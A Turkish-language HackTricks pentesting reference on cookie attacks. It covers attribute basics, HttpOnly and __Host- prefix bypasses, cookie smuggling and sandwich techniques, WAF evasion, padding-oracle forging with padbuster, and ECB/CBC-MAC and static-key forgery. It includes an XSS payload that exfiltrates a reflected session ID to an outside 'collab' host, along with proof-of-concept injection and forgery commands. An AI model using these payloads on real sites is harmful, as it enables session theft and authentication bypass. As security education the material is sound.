Cookies Hacking

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Cookie Attributes

Cookies, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özelliğe sahiptir. İşte bu özelliklerin daha pasif bir dille özeti:

Expires and Max-Age

Expires özelliği bir cookie’nin son kullanma tarihini belirler. Buna karşılık, Max-age özelliği cookie’nin silinene kadar geçen süreyi saniye cinsinden tanımlar. Daha modern uygulamaları yansıtması nedeniyle Max-age tercih edilmelidir.

Domain

Domain özelliği, bir cookie’yi alacak hostları belirtir. Varsayılan olarak bu, cookie’yi veren hosta ayarlanır ve alt alan adlarını içermez. Ancak Domain açıkça ayarlandığında alt alan adlarını da kapsar. Bu, Domain belirtmenin daha az kısıtlayıcı bir seçenek olmasını sağlar; cookie’lerin alt alan adları arasında paylaşılması gereken senaryolarda kullanışlıdır. Örneğin Domain=mozilla.org ayarlanırsa cookie’ler developer.mozilla.org gibi alt alan adlarında da erişilebilir olur.

Path

Path özelliği, Cookie header’ının gönderilmesi için istenen URL’de bulunması gereken özel bir URL yolunu belirtir. Bu özellik, / karakterini dizin ayırıcı olarak kabul eder ve alt dizinlerde de eşleşmelere izin verir.

Ordering Rules

İki cookie aynı adı taşıyorsa gönderilecek olan şu kurallara göre seçilir:

• İstenen URL’de en uzun path ile eşleşen cookie.
• Path’ler aynıysa en son ayarlanmış cookie.

SameSite

• SameSite özelliği, cookie’lerin üçüncü taraf domainlerden başlayan isteklerle gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
• Strict: Cookie’lerin üçüncü taraf istekleriyle gönderilmesini engeller.
• Lax: Cookie’lerin üçüncü taraf siteler tarafından başlatılan GET istekleriyle gönderilmesine izin verir.
• None: Cookie’nin herhangi bir üçüncü taraf domain’den gönderilmesine izin verir.

Unutmayın, cookie’leri yapılandırırken bu özellikleri anlamak, farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olur.

Table from Invicti and slightly modified.
SameSite attribute’ı takılı bir cookie, oturum gerektiren durumlarda CSRF saldırılarını hafifletir.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Dikkat: bu değişikliğin uygulanmasından sonra Chrome’da SameSite politikası olmayan cookie’ler ilk 2 dakika boyunca None olarak muamele görecek ve ardından üst düzey cross-site POST istekleri için Lax olarak değerlendirilecektir.

Cookies Flags

HttpOnly

Bu, client’ın cookie’ye erişmesini engeller (örneğin Javascript ile: document.cookie)

Bypasses

• Eğer sayfa cookie’leri bir isteğin yanıtı olarak gönderiyorsa (örneğin bir PHPinfo sayfasında), XSS’i kötüye kullanarak bu sayfaya bir istek gönderip yanıt içerisinden cookie’leri çalmak mümkün olabilir (örnek için bakınız https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Sunucunun yanıtı (bu HTTP metodu varsa) gönderilen cookie’leri yansıtacağından bu, TRACE HTTP istekleri ile bypass edilebilir. Bu teknik Cross-Site Tracking olarak adlandırılır.
• Modern tarayıcılar JS’ten bir TRACE isteği gönderilmesine izin vermeyerek bu tekniği önler. Ancak, bazı yazılımlarda bunun bypass’ları bulunmuştur; örneğin IE6.0 SP2’ye \r\nTRACE göndermek TRACE yerine kullanılabilmiştir.
• Bir diğer yol, tarayıcıların zero/day zaafiyetlerinin exploit edilmesidir.
• Cookie Jar overflow attack gerçekleştirerek HttpOnly cookie’ler overwrite edilebilir:

Cookie Jar Overflow

• Bu cookie’leri exfiltrate etmek için Cookie Smuggling attack kullanılabilir
• Eğer herhangi bir server-side endpoint ham session ID’yi HTTP yanıtında yansıtıyorsa (ör. HTML yorumları içinde veya bir debug bloğunda), bir XSS gadget’ı kullanarak o endpoint’i çağırıp secret’i regex ile çıkarıp exfiltrate ederek HttpOnly’ı bypass edebilirsiniz. Örnek XSS payload pattern:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Güvenli

İstek, çerezin yalnızca güvenli bir kanal üzerinden (genellikle HTTPS) iletilen bir HTTP isteğinde gönderilmesini sağlar.

Cookies Prefixes

__Secure- ile başlayan çerezlerin, HTTPS ile güvence altına alınmış sayfalardan ve secure flag’i ile birlikte ayarlanması gerekir.

__Host- ile başlayan çerezler için birkaç koşul sağlanmalıdır:

• secure flag’i ile ayarlanmış olmalılar.
• HTTPS ile güvence altına alınmış bir sayfadan kaynaklanıyor olmalılar.
• Bir domain belirtmeleri yasaktır; böylece alt alanlara iletilmeleri engellenir.
• Bu çerezlerin path’i / olarak ayarlanmalıdır.

__Host- önekiyle başlayan çerezlerin süperdomain’lere veya subdomain’lere gönderilmesine izin verilmediğini not etmek önemlidir. Bu kısıtlama, uygulama çerezlerinin izolasyonuna yardımcı olur. Bu nedenle, tüm uygulama çerezleri için __Host- önekinin kullanılması, güvenlik ve izolasyonu artırmak için iyi bir uygulama olarak düşünülebilir.

Overwriting cookies

Yani, __Host- önekiyle korunan çerezlerin bir koruması, bunların alt alan adlarından overwrite edilmesini engellemektir. Örneğin Cookie Tossing attacks gibi saldırıları önler. Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) başlıklı konuşmada, örneğin parser’ı kandırarak (başına veya başına ve sonuna “=” eklemek gibi) alt alan adından __HOST- önekli çerezlerin ayarlanmasının mümkün olduğu gösterilmiştir:

Veya PHP’de, çerez adının başına başka karakterler ekleyerek ve bu karakterlerin alt çizgi ile değiştirilecek olması dolayısıyla __HOST- çerezlerini overwrite etmenin mümkün olduğu görüldü:

Unicode whitespace cookie-name smuggling (prefix forgery)

Tarayıcı ve sunucu parsing’i arasındaki farklılıkları, cookie adının başına bir Unicode whitespace kod noktası ekleyerek suistimal edin. Tarayıcı, adın tam olarak __Host-/__Secure- ile başladığını kabul etmeyeceği için alt alan adından ayarlamaya izin verir. Eğer backend cookie anahtarlarındaki öndeki Unicode boşlukları trim’liyor/normalize ediyorsa, korunan adı görür ve yüksek ayrıcalıklı çerezi overwrite edebilir.

• Alt alan adından parent-domain çerezlerini ayarlayabilen bir PoC:

document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;

• Sorunun ortaya çıkmasına olanak sağlayan tipik backend davranışları:

• Çerez anahtarlarını kırpan/normalize eden framework’ler. Django’da, Python’un str.strip() çok geniş bir Unicode boşluk karakteri kod noktası aralığını kaldırır; bunun sonucunda isim __Host-name olarak normalize olur.

• Sıkça kırpılan kod noktaları şunlardır: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

• Birçok framework aynı isimli çerezleri “last wins” şeklinde çözer, bu yüzden saldırgan kontrollü normalize edilmiş çerez değeri meşru olanın üzerine yazar.

• Tarayıcı farklılıkları önemlidir:

• Safari, çerez isimlerinde çok baytlı Unicode boşluk karakterlerini engeller (ör. U+2000’i reddeder) ancak birçok backend’in kırptığı tek baytlı U+0085 ve U+00A0’a hâlâ izin verir. Tarayıcılar arasında çapraz test yapın.

• Etki: Daha az güvenilir bağlamlardan (subdomains) __Host-/__Secure- çerezlerinin üzerine yazılmasına izin verir; bu da XSS (if reflected), CSRF token override ve session fixation’a yol açabilir.

• Ağ üzerinde vs sunucu görünümü örneği (isimde U+2000 mevcut):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

Birçok backend önce split/parse edip sonra trim uygular; bunun sonucu normalize edilmiş __Host-name’in saldırganın değerini almasıdır.

Eski $Version=1 cookie splitting Java backend’lerinde (prefix bypass)

Bazı Java stack’leri (örn. Tomcat/Jetty tarzı) Cookie başlığı $Version=1 ile başladığında hâlâ RFC 2109/2965 eski parsing’i etkinleştirir. Bu, sunucunun tek bir cookie dizesini birden fazla mantıksal cookie olarak yeniden yorumlamasına ve aslında bir alt domainden veya hatta güvenli olmayan bir origin üzerinden ayarlanmış sahte bir __Host- girdisini kabul etmesine neden olabilir.

• Legacy parsing’i zorlayan PoC:

document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;

• Neden işe yarıyor:

• İstemci tarafı prefix kontrolleri set sırasında uygulanır, ancak sunucu tarafı legacy parsing (eski ayrıştırma) daha sonra header’ı split edip normalize eder; bu da __Host-/__Secure- prefix garantilerinin amacını Baypas eder.

• Nerede denemeli: Tomcat, Jetty, Undertow veya hâlâ RFC 2109/2965 özniteliklerine riayet eden framework’ler. duplicate-name overwrite semantics ile birleştir.

Duplicate-name last-wins overwrite primitive

İki cookie aynı ada normalleştiğinde, birçok backend (Django dahil) son görüleni kullanır. Smuggling/legacy-splitting iki __Host-* adı ürettiğinde, genellikle saldırgan kontrollü olan kazanır.

Detection and tooling

Aşağıdaki durumları test etmek için Burp Suite kullanın:

• Birden çok leading Unicode whitespace code point deneyin: U+2000, U+0085, U+00A0 ve backend’in name’i trim edip prefixliymiş gibi davranıp davranmadığını gözlemleyin.
• Cookie header’ında önce $Version=1 gönderin ve backend’in legacy splitting/normalization yapıp yapmadığını kontrol edin.
• Aynı ada normalleşen iki cookie enjekte ederek duplicate-name çözümlemesini (ilk vs son kazanır) gözlemleyin.
• Bunu otomatikleştirmek için Burp Custom Action: CookiePrefixBypass.bambda

İpucu: Bu teknikler RFC 6265’in octet-vs-string farkından faydalanır: tarayıcılar byte gönderir; sunucular decode eder ve normalize/trim yapabilir. Decode ve normalization arasındaki uyuşmazlıklar bypass’ın özüdür.

Çerez Saldırıları

Eğer custom bir cookie hassas veri içeriyorsa kontrol edin (özellikle bir CTF oynuyorsanız), çünkü zafiyete açık olabilir.

Çerezleri Dekodlama ve Manipüle Etme

Çerezlere gömülü hassas veriler her zaman incelenmelidir. Base64 veya benzeri formatlarda encode edilmiş çerezler sıklıkla decode edilebilir. Bu zafiyet saldırganların cookie içeriğini değiştirmesine ve değiştirdikleri veriyi tekrar cookie içine encode ederek diğer kullanıcıları taklit etmesine olanak verir.

Oturum Ele Geçirme (Session Hijacking)

Bu saldırı, bir kullanıcının cookie’sini çalarak uygulamada yetkisiz erişim sağlamakla ilgilidir. Çalınan cookie kullanılarak saldırgan meşru kullanıcıyı taklit edebilir.

Session Fixation

Bu senaryoda saldırgan, kurbana belirli bir cookie kullanmasını sağlayarak giriş yaptırır. Eğer uygulama giriş sırasında yeni bir cookie atamıyorsa, saldırgan elindeki orijinal cookie ile kurbanı taklit edebilir. Bu teknik, kurbanın saldırganın sağladığı cookie ile giriş yapmasına dayanır.

Eğer bir XSS bir alt alan adında bulduysanız veya bir alt alan adına sahipseniz, şu kaynağı okuyun:

Cookie Tossing

Session Donation

Burada saldırgan, kurbanı saldırganın session cookie’sini kullanmaya ikna eder. Kurban kendi hesabına giriş yaptığını sanırken, farkında olmadan saldırganın hesabı bağlamında işlemler yapar.

Eğer bir XSS bir alt alan adında bulduysanız veya bir alt alan adına sahipseniz, şu kaynağı okuyun:

Cookie Tossing

JWT Çerezleri

Önceki linke tıklayarak JWT’deki olası hataları açıklayan bir sayfaya erişebilirsiniz.

Çerezlerde kullanılan JSON Web Token’lar (JWT) da zafiyetler barındırabilir. Olası kusurlar ve bunların nasıl sömürülebileceği hakkında derinlemesine bilgi için bağlantılı dokümana bakılması önerilir.

Cross-Site Request Forgery (CSRF)

Bu saldırı, giriş yapmış bir kullanıcının, hâlihazırda kimlik doğrulaması yapılmış olduğu bir web uygulamasında istenmeyen işlemler yapmasını zorlar. Saldırganlar, her istekle otomatik olarak gönderilen çerezleri kullanarak bu zafiyetten faydalanabilir.

Boş Çerezler

(Detaylar için orijinal araştırmaya bakın) Tarayıcılar isim olmadan çerez oluşturulmasına izin verir; bu JavaScript ile şu şekilde gösterilebilir:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Gönderilen cookie header’ındaki sonuç a=v1; test value; b=v2;. İlginç bir şekilde, isim boş cookie ayarlanırsa bu, cookie’lerin manipüle edilmesine izin verir; boş cookie’yi belirli bir değere ayarlayarak diğer cookie’leri potansiyel olarak kontrol etmek mümkün olur:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Bu, tarayıcının bir cookie header göndermesine yol açar; her web sunucusu tarafından adı a ve değeri b olan bir cookie olarak yorumlanır.

Chrome Hatası: Unicode Surrogate Kod Noktası Sorunu

Chrome’da, bir set cookie’ye bir Unicode surrogate kod noktası dahil edilirse, document.cookie bozulur ve sonrasında boş bir string döner:

document.cookie = "\ud800=meep"

Bu, document.cookie’in boş bir dize döndürmesine yol açar; bu da kalıcı bozulmayı gösterir.

Cookie Smuggling: Ayrıştırma Sorunları

(Daha fazla detay için original research ’e bakın) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) dahil olmak üzere birçok web sunucusu, eski RFC2965 desteği nedeniyle cookie strings’i yanlış işler. Çift tırnak içine alınmış bir cookie değerini, içinde normalde anahtar-değer çiftlerini ayırması gereken noktalı virgüller olsa bile tek bir değer olarak okurlar:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Sunucuların, özellikle Undertow, Zope ve Python’un http.cookie.SimpleCookie ve http.cookie.BaseCookie kullananların cookies’i yanlış ayrıştırması cookie injection saldırılarına zemin hazırlar. Bu sunucular yeni cookie başlangıcını doğru şekilde ayıramaz ve saldırganların cookie taklidi yapmasına izin verir:

• Undertow, tırnaklı bir değerin hemen ardından noktalı virgül olmadan yeni bir cookie bekler.
• Zope, bir sonraki cookie’yi ayrıştırmaya başlamak için virgül arar.
• Python’ın cookie sınıfları ayrıştırmaya bir boşluk karakterinde başlar.

Bu zafiyet, cookie tabanlı CSRF korumasına güvenen web uygulamalarında özellikle tehlikelidir; saldırganların sahte CSRF-token cookie’leri enjekte etmesine ve potansiyel olarak güvenlik önlemlerini atlatmasına olanak tanır. Sorun, Python’ın aynı isimli cookie’leri işlemeye yaklaşımıyla daha da kötüleşir: son görülme öncekilere üstün gelir. Ayrıca insecure ortamlarda __Secure- ve __Host- cookie’leri için endişe yaratır ve cookie’lerin spoofing’e yatkın back-end sunuculara gönderilmesi durumunda yetkilendirme atlamalarına yol açabilir.

Cookies $version

WAF Bypass

According to this blogpost, backend’in cookie’yi ayrıştırmak için eski bir mantığı kullanmasını sağlamak amacıyla cookie özniteliği $Version=1 kullanmak mümkün olabilir; bunun nedeni RFC2109’dur. Ayrıca, $Domain ve $Path gibi diğer değerler de backend davranışını cookie ile değiştirmek için kullanılabilir.

Cookie Sandwich Attack

According to this blogpost cookie sandwich tekniğini kullanarak HttpOnly cookie’leri çalmak mümkündür. Gereksinimler ve adımlar şunlardır:

• Yanıt içinde görünüşte işe yaramaz bir cookie is refected in the response olan bir yer bulun
• $Version adında bir cookie oluşturun ve değeri 1 olsun (bunu bir XSS saldırısı ile JS’ten yapabilirsiniz); daha spesifik bir path verin ki başlangıç pozisyonunu alsın (bazı framework’ler, ör. python, bu adıma ihtiyaç duymaz)
• Yansıtılan cookie’yi oluşturun; değeri içinde açık bir çift tırnak bırakan ve önceki ($Version) cookie’den sonra cookie veritabanında konumlanacak şekilde spesifik bir path ile oluşturun
• Böylece meşru cookie sıralamada bir sonraki olur
• Değerinin içinde çift tırnağı kapatan sahte bir cookie oluşturun

Bu şekilde mağdur cookie yeni cookie version 1’in içine sıkışır ve yansıtıldığında her seferinde yansıtılır. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Önceki bölüme bakın.

Bypassing value analysis with quoted-string encoding

Bu ayrıştırma, cookies içindeki escape’lenmiş değerlerin çözümlenmesini (unescape) sağlar; bu yüzden “\a” “a” olur. Bu, WAFS’i atlatmak için kullanışlı olabilir:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

RFC2109’da belirtilir ki virgül cookie değerleri arasında bir ayırıcı olarak kullanılabilir. Ve ayrıca eşittir işaretinin öncesine ve sonrasına boşluk ve tab eklemek mümkündür. Bu nedenle $Version=1; foo=bar, abc = qux gibi bir cookie "foo":"bar, admin = qux" cookie’si oluşturmaz; bunun yerine foo":"bar" ve "admin":"qux" adında iki cookie oluşturur. İki cookie’nin nasıl üretildiğine ve admin’in eşittirin öncesindeki ve sonrasındaki boşluğun nasıl kaldırıldığına dikkat edin.

Bypassing value analysis with cookie splitting

Son olarak farklı backdoors, farklı cookie header’larında geçen farklı cookie’leri bir string içinde birleştirebilir, örneğin:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Bu, aşağıdaki örnekte olduğu gibi bir WAF’i atlatmaya izin verebilir:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Ekstra Vulnerable Cookies Kontrolleri

Temel kontroller

• cookie her login yaptığınızda aynı.
• Log out yapıp aynı cookie’yi kullanmayı dene.
• Aynı hesapta, aynı cookie’yi kullanarak 2 cihaz (veya tarayıcı) ile login yapmayı dene.
• cookie’nin içinde herhangi bir bilgi olup olmadığını kontrol et ve değiştirmeyi dene.
• Neredeyse aynı username ile birkaç accounts oluşturmayı dene ve benzerlikleri görüp göremediğini kontrol et.
• Eğer varsa “remember me” seçeneğini nasıl çalıştığını görmek için kontrol et. Eğer varsa ve zafiyetli olabilecekse, her zaman başka bir cookie olmadan remember me cookie’sini kullan.
• Daha önceki cookie’nin password değiştirdikten sonra bile çalışıp çalışmadığını kontrol et.

Gelişmiş cookies saldırıları

Eğer cookie login yaptığınızda aynı (veya neredeyse aynı) kalıyorsa, bu muhtemelen cookie’nin account’ınızın bazı bir alanına (muhtemelen username) bağlı olduğunu gösterir. O zaman şunları yapabilirsiniz:

• Çok sayıda accounts oluşturup çok benzer username’ler kullanarak algoritmanın nasıl çalıştığını tahmin etmeye çalış.
• bruteforce the username yapmayı dene. Eğer cookie sadece bir authentication yöntemi olarak username için saklanıyorsa, o zaman “Bmin” username’i ile bir account oluşturup bruteforce ile cookie’nin her bir bit’ini deneyebilirsin çünkü deneyeceğin cookie’lerden biri “admin“e ait olacaktır.
• Padding Oracle’ı dene (cookie’nin içeriğini deşifre edebilirsin). padbuster kullan.

Padding Oracle - Padbuster örnekleri

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster birkaç deneme yapacak ve hangi koşulun hata koşulu olduğunu (geçersiz olanı) soracaktır.

Ardından decrypting the cookie işlemine başlayacaktır (bu birkaç dakika sürebilir)

Eğer saldırı başarıyla gerçekleştirilmişse, seçtiğiniz bir metni encrypt etmeyi deneyebilirsiniz. Örneğin, encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

Bu yürütme, içinde user=administrator dizesi bulunan cookie’yi doğru şekilde şifrelenmiş ve kodlanmış olarak verecektir.

CBC-MAC

Muhtemelen bir cookie bazı bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Bu durumda değerin bütünlüğü, aynı değer kullanılarak CBC ile oluşturulan imza olur. IV olarak null vector kullanılması önerildiği için, bu tür bütünlük kontrolü zayıf olabilir.

The attack

1. username administ için imzayı alın = t
2. username rator\x00\x00\x00 XOR t için imzayı alın = t’
3. Cookie’ye değeri administrator+t’ olarak ayarlayın (t’ şunun geçerli bir imzası olacaktır: (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

Eğer cookie ECB kullanılarak şifreleniyorsa zafiyetli olabilir. Oturum açtığınızda aldığınız cookie her zaman aynı olmalıdır.

How to detect and attack:

• Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (username, password, email, vb.) ve verilen cookie içinde bir desen olup olmadığını tespit etmeye çalışın
• Örneğin “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa” adında bir kullanıcı oluşturun ve cookie’de herhangi bir desen olup olmadığını kontrol edin (ECB aynı anahtarla her block’u şifrelediği için, username şifreleniyorsa aynı şifrelenmiş byte’lar ortaya çıkabilir).
• Bir desen olmalıdır (kullanılan block boyutunda). So, knowing how are a bunch of “a” encrypted you can create a username: “a”*(size of the block)+“admin”. Then, you could delete the encrypted pattern of a block of “a” from the cookie. And you will have the cookie of the username “admin”.

Static-key cookie forgery (symmetric encryption of predictable IDs)

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

• Auth’ı kontrol eden cookie(leri) tespit edin, örn., COOKIEID ve ADMINCOOKIEID.
• Cipher/encoding’i belirleyin. Gerçek bir örnekte uygulama IDEA ile sabit 16-byte key kullanıyordu ve ciphertext’i hex olarak döndürüyordu.
• Kendi user ID’nizi şifreleyip verilen cookie ile karşılaştırarak doğrulayın. Eşleşirse, herhangi bir hedef ID için cookie mint edebilirsiniz (1 genellikle ilk admin’e karşılık gelir).
• Forge edilmiş değeri doğrudan cookie olarak ayarlayın ve gezin; herhangi bir credentials gerekmez.

</details>bağlam (örn. sunucu tarafı rastgele ID'li oturum veya anti-replay özellikleri ekleyin).

## Referanslar

- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)

> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>